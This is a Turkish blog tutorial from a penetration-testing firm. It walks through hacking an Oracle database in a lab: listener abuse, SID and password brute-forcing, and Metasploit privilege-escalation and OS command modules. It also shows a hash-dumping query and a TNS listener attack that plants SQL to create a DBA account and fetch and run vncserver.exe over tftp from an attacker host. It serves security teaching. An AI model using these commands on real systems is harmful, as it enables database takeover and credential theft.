07 Şubat 2016

Oracle Nasıl Hacklenir

Oracle en yaygın kullanılan veritabanlarından biridir. Bu makale için test ve eğitim amaçlı ücretsiz dağıtımı olan 11g Express Edition(XE) sürümü kullanılmıştır. Oracle Express Edition'lar için artık güvenlik patch'leri yayınlamamaktadır, bu dağıtım kullanılacak ise güncellemelerin özel olarak talep edilmesi önerilir. XE mimarisinde veritabanı ve HTTP Listener aynı cihaz üzerinde çalışır, bu tehlikeli bir durumdur ve bulunan bir açıklık sistemin tümünü tehdit eder.

Oracle Penetration Test Aşamaları
  • Oracle Server çalışan sistemin tespiti
  • Oracle versiyon bilgisinin öğrenilmesi.
  • Oracle SID.
  • Tahmin/Bruteforce USERNAME/PASS.
  • Yekti yükseltilmesi.
  • İşletim Sisteminde Kod Çalıştırma/Post Exploitation.

Oracle Database Listener bir veritabanı server bileşenidir ve belirli bir portu (genellikle 1521) dinleyerek network bağlantılarını veritabanına iletir. Listener temel olarak 2 bileşenden oluşur: Dinlenem işlemini yapan tnslsnr, ve Listener Control Utility (lsnrctl) ismi verilen dinleyiciyi uzaktan veya lokalden configure edip yönetmeyi sağlayan bileşendir. Güvenlik açısından Oracle Database Listener ciddi bir öneme sahip olmasına rağmen genellikle uygun konfigüre edilmemektedir.

Listener dosyalarının detayları:
  • $ORACLE_HOME/bin/lsnrctl (Listener kontrol programı)
  • $ORACLE_HOME/network/admin/listener.ora (Listener konfigürasyon dosyası)
  • $ORACLE_HOME/network/admin/sqlnet.ora (Listener konfigürasyon dosyası)
  • $ORACLE_HOME/bin/tnslnsr (Server Listener process)

lsnrctl programı Listener yönetimi için kullanılmakta ve uzaktan kontrol edilirse sisteme sızmak mümkün olmaktadır. Oracle 8i/9i default olarak uzaktan kontrol edilmeye izin vermektedir. 10G sürümü ile birlikte bu özellik yöneticiler tarafından açılmadığı sürece uzaktan kontrole kapatılmıştır. Uzaktan erişimde lsnrctl <command></command> <ip_address>:<port> komutu kullanılarak uzak server üzerinde listener yönetimi hiçbir denetim olmadan yapılabilir. Test sistemi için listener.ora dosyasına aşağıdaki komutlar eklenerek uzaktan erişim aktif hale getirilmiştir:

LOCAL_OS_ATHENTICATION_LISTENER = OFF
ADMIN_RESTRICTION_LISTENER = OFF

Ayrıca oracle 11g versiyonunda default olarak database'in sadece localden kontrolüne izin verilmiştir. Uzaktan erişim sağlanabilmesi için hedef database sistemde aşağıdaki komut çalıştırılmıştır.



Kullanılabilecek Listener Komutları ve Saldırılar:
  • # change_password : Listener kontorlü için (lsnrctl) şifre oluşturur ve başkasının kontrol etmesini önler. Çözüm olarak ancak manuel olarak listener.ora dosyasından şifre değiştirilebilir.
  • # services : Bilgi açığa vurma saldırısı olarak kullanılabilir.
  • # set connect_timeout : Bağlantı için zaman aşamı süresi ayarlanır ve Dos saldırısı olarak kullanılabilir.
  • # set log_directory , set log_file , set log_status, set trc_directory, set trc_file, trace : Bu komutlar ciddi tehlike oluşturabilmektedir.Sistem üzerinde dosya oluşturma ve okunabilir klasörlere taşıma (örneğin web)
  • # show : Bilgi açığa vurmak için kullanılabilir.
  • # start / stop : Listener'ı durdurmak ve başlatmak için kullanılır. Lsnrctl stop komutuyla çalışan bir sistem erişime kapatılabilir ve bu durum ciddi bir risk oluşturur.

1) Oracle Server çalışan sistemin tespiti: Genellikle yapılan port taramaları ile çalışan Oracle servisleri tespit edilebilmektedir. Yukarıda bahsedildiği üzere Oracle Listener default portu 1521'dir.

 


Ayrıca arama motorları kullanılarak da Oracle Listener tespit edilebilir.(Google Hacking) Örneğin : intitle:iSQL intitle:Release inurl:isqlplus sorgusu aratılarak isqlplus login sayfaları bulunabilir. Oracle google hacking hakkında geniş bir listeye linkten ulaşabilirsiniz.

http://www.red-database-security.com/wp/google_oracle_hacking_us.pdf

2) Oracle versiyon bilgisi : Versiyon bilgisi tespiti için metasploit tnslsnr_version yardımcı modülü veya oracle client olarak geliştirilen tnscmd10g.pl scripti kullanılabilir. Metasploit adımları:




Veya Script için : tnscmd10g.pl version –h komutu çalıştırılır.

3) Oracle SID bilgisi : Oracle 7-9i arası versiyonlarda Listener her zaman status komutu ile SID/Servicename bilgisi döndermekteydi fakat versiyon 10 ve sonrası için bu özellik kaldırılmıştır. Veritabanına uzaktan erişim sağlayabilmek için hostname/IP, username,password ve SID bilgilerine ihtiyaç vardır.Dolayısıyla SID bilgisi zorunludur. Eski versiyonlarda kolaylıkla bulunabilmekte ancak yeni versiyonlar içinse brute force veya tahmin yolları ile araştırılır. Sidguess scripti veya metasploit sid_brute auxilary modülü kullanılabilir. Script kullanımı :

sidguess -i -d=dictionary.txt

Metasploit sid_brute modülü ile:



4) Username/Password Bulunması : Oracle kurulumla beraber bir çok default kullanıcı oluşturmaktadır. Özellikle 10 öncesi sürümlerde kontrol edilmesi gereken bir çok default kullanıcı ve parolası vardır.Testi gerçekleştirdiğimiz 11g sürümünde oluşturulan çoğu default kullanıcı kilitlenmiş, silinmiş veya kurulum sırasında belirlenen yönetici şifresiyle default parola değiştirilmiştir. Böylece herkes tarafından bilinen kullanıcı adı ve parolalar saldırıya kapatılmıştır. Default Password kontrolü Metasploit oracle_login modulü ile yapılabileceği gibi, çoğu işletim sistemde çalışabilen checkpwd programı kullanılabilir. İki araçta bilinen default password'ler (oracle için çok fazla default user:pass vardır dolayısıyla uzun bir liste ) listesinden deneme yapmaktadır. Resimde gözüktüğü gibi Checkpwd programı ile windows üzerinde default password testi yapılmış ve 11g sürümü için vulnerable user/pass bulunamamıştır:




Brute-force saldırısına karşı Oracle çok miktarda deneme yapılan kullanıcıları kilitlemek gibi bir önlem almıştır. SYSTEM kullanıcısı en yetkili kişi olduğu için tüm sistemi erişilmez kılmamak için bu kullanıcı kitlenmemektedir. Ancak yeni versiyonlarda eklenen güvenlik patch'leri ile SYSTEM kullanıcısıda fazla deneme yapılırsa bloklanmaktadır. Tüm kombinasyonların denenmesi yerine default passwordlerin test edilmesi önerilir. İhtimalin düşürüldüğü durumlarda ise Metasploit oracle_login scripti kullanılarak brute force saldırısı gerçekleştirilebilir. Default olarak bu script bilinen user-pass eşlerini denemektedir ancak manuel olarak oluşturulan csv uzantılı wordlistler ile kendi wordlistimiz denenebilir. Örnek saldırı:




Daha önce bahsedildiği gibi oracle server'a uzaktan bağlantı sağlayabilmek için username,password,SID bilgileri gereklidir. Yukarıdaki testler sonrası bu bilgilere erişildiğinde bir sonraki adım yetki sahibi olmak ve post exploitation basamaklarıdır.

5) Privilege Escalation : Eğer ele geçirilen kullanıcı hesabı yönetici yetkilerine sahip ise sistemi ele geçirmeye çalışılır ancak kullanıcı yetkisiz ise öncelikle yönetici yetkilerine sahip olacak şekilde hesaba yetki yükseltmesi yapmamız gerekir. 11G öncesi sürümlerde mevcut olan bir SQL Injection bug'ı kullanılarak Metasploit dbms_export_extension modülü ile yetki yükseltmesi yapılabilmektedir.Bu modülün kullanımı:

msf > use auxiliary/sqli/oracle/dbms_export_extension
msf auxiliary(dbms_export_extension) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf auxiliary(dbms_export_extension) > set SID EX
SID => EX
msf auxiliary(dbms_export_extension) > set DBUSER cemal
DBUSER => cemal
msf auxiliary(dbms_export_extension) > set DBPASS admin
DBPASS => admin
msf auxiliary(dbms_export_extension) > run
[*] msf
[*] Sending package...
[*] Done...
[*] Sending body...
[*] Done...
[*] Sending declare...
[*] Done...
[*] Auxiliary module execution completed
auxiliary(dbms_export_extension) >


11g versiyonu için yapılabilecek saldırılardan birisi eğer hedef sistemde Native Java Virtual Machine(JVM) yüklü ise JVM içerisinde bulunan DBMS_JAVA paketinin içerdiği stored prosedürlerden faydalanılabilir. Bu prosedürlerden birisi SET_OUTPUT_TO_JAVA fonksiyonudur. Bu fonksiyon System.out ve System.err streamlerine yazılacak output oluşturmak için kullanılır. Normal bir db user bu fonksiyonu çalıştırabilir. Bu fonksiyonun aldığı son iki parametre INITIALIZATION_STATEMENT ve FINALIZATION_STATEMENT parametreleridir ve bu parametreler sql sorgusu içerir. Yani bir saldırgan SYS tarafından sahip olunan bir paketi çalıştırdığında System.out ve System.err dosyalarına yazma yapabilir ve bu durum sonucunda SYS tarafından yeni bir JVM session oluşturulur. Parametre olarak verilen SQL sorguları ise SYS yetkileri ile çalıştırılmış olur. Normal bir kullanıcı ile giriş yaptıktan sorna yapılan örnek saldırı :

SQL> @CallSetOutputToJava
SQL> set echo on;
SQL> @SYSProcedureErrors
SQL> set role dba;
Role set.
SQL>


6) İşletim Sisteminde Kod Çalıştırma : Metasploit win32_exec modulü kullanılarak işletim sisteminde kod çalıştırılabilir. Bu modül bir java class'ı oluşturur , komutları çalıştırır ve sonrasında java class'ını tekrar siler. Benzer mantıkla çalışan bir diğer exploit ise raptor_oraexec.sql exploitidir. Kullanımı :

msf > use auxilary/admin/oracle/post_exploitation/win32exec
msf auxiliary(win32exec) > set DBPASS roottoor
msf auxiliary(win32exec) > set DBUSER SYSTEM
msf auxiliary(win32exec) > set RHOST 192.168.56.101
msf auxiliary(win32exec) > set SID XE
msf auxiliary(win32exec) > set CMD "echo metasploit > %SYSTEMDRIVE%\\unbreakable.txt“
CMD => echo metasploit > %SYSTEMDRIVE%\\unbreakable.txt
msf auxiliary(win32exec) > run
[*] Creating MSF JAVA class...
[*] Done...
[*] Creating MSF procedure...
[*] Done...
[*] Sending command: 'echo metasploit > %SYSTEMDRIVE%\\unbreakable.txt‘
[*] Done...
[*] Auxiliary module execution completed


Başarılı bir şekilde çalışmış verdiğimiz komutu çalıştırmıştır, yani hedef sistem üzerinde C:\ dizinine unbreakable.txt isimli bir dosya oluşturmaktadır.

Diğer Saldırı Yöntemleri

Hash Kırılması : Oracle server SQL komut satırına erişim sağlandıktan sonra yetkilerimiz dahilinde diğer kullanıcılarla ilgili username:password bilgilerini çekebiliriz. Bu bilgileri listeleyecek komut:

select name,password,spare4 from sys.user$;



Parolalar hash halinde tutulduğu için bu hashler brute-force veya rainbow teknikleriyle kırılarak kullanıcı şifrelerine erişilebilir. Brute-force yapmak için kullanılabilecek çok sayıda araç vardır. Örneğin OracleCracker11g aracı ile yapılan test:



Bir diğer araç ise yukarı bahsedilen Checkpwd aracıdır. Yapılan örnek test ve kullanılan komut:

C:> checkpwd <username>:<hash> <dictionary>
 


SSL/TLS : Veritabanı bağlantıları SSL/TLS protocolleri ile sağlanmıyorsa veriler paket içerisinde açık metin halinde iletilir ve trafiği dinleyen bir saldırgan (man in the middle attack) paketleri yakalayarak içerisini okuduğunda username,password,SQL sorguları,listener konfigurasyon bilgileri gibi önemli bilgileri yakalayabilir. Bu yüzden uzak server'la kurulan bağlantılarda her zaman SSL gibi veriyi şifreleyen protokoller kullanılmalıdır. Listener configurasyon dosyasında tcp'ye ek olarak tcps bilgileride bulunmalıdır. Örneğin açık metin halinde giden bir bağlantının dinlenirse:




Hacking the TNS Listener: Oracle 9i ve daha düşük versiyonlarda tns listener korunmasızdır. Unprotected Tns zafiyetinden faydalanarak işletim sistemi ele geçirilebilmektedir. Saldırı aşamaları:

  • Kali linux üzerinde TFTPD server çalıştırılır.
  • Bir zararlı dosya(executable ör:netcat) /tmp klasörüne kopyalanır.
  • Hedef sistemin home dizini öğrenilmelidir. Bunun için tnscmd modülü status komutu ile çalıştırılırsa cevap içerisinde LOGFILE=C:\oracle\ora92\ şeklinde bir bilgiden dizin öğrenilmiş olur.
  • Bir sonraki adım Logfile'ın dizin ve dosya adını glogin.sql olarak değiştirmektir.
  • tnscmd10g.pl --rawcmd “((DESCRIPTION=((CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))((COMMAND=LOGFILE)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\oracle\ora92\sqlplus\admin\glogin.sql))” -h 192.168.56.101
  • Sırada işletim sistemine yazma kısmı vardır. FTP serverdan dosya çekilip ve çalıştırılacaktır.
  • tnscmd10g.pl –h 192.168.56.101 –rawcmd “(CONNECT_DATA=((set term off create user kali identified by kali; grant dba to kali; host tftp –I 192.168.56.30 GET vncserver.exe vncserver.exe host vncserver set term on”
  • Daha sonra logfile tekrar eski orjinal ismine çevirilir.
  • tnscmd10g.pl --rawcmd “((DESCRIPTION=((CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))((COMMAND=LOGFILE)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\oracle\ora92\sqlplus\admin\listener.log))” -h 192.168.56.101

Artık DBA , bir sonraki sqlplus aracılığıyla girişinde glogin.sql kodları çalışacak vncserver binary dosyası indirilip çalıştırılacaktır. Böylece sistem ele geçirilmiş olur, artık sisteme vnc kullanarak yada yeni oluşturulan kali kullanıcısıyla veritabanına erişim sağlanabilir.

SQL Injection : Kullanıcı tarafından girilen verilerin yetersiz kontor edilmesi saldırgan için veritabanı üzerinde sorgu çalıştırabilme, veri okuyup yazabilme ve daha ileri düzey ataklar için imkan doğurur. SQL Injection saldırıları ile de veritabanı üzerinde kod çalıştırma imkanı yakalandıktan sonra veritabanı üzerinde yapılan saldırı adımlarına benzer şekilde ilerleme kaydedilir.

Bilinen versiyon açıkları : Tespit edilen oracle server versiyonu için bilinen açıklıklar aranarak açığın mevcut olup olmadığı araştırılabilir.






Bu makale İstanbul Teknik Üniversitesi Bilgisayar Mühendisliği Bölümü öğrencisi stajyerimiz Cemal Türkoğlu tarafından geliştirilmiştir.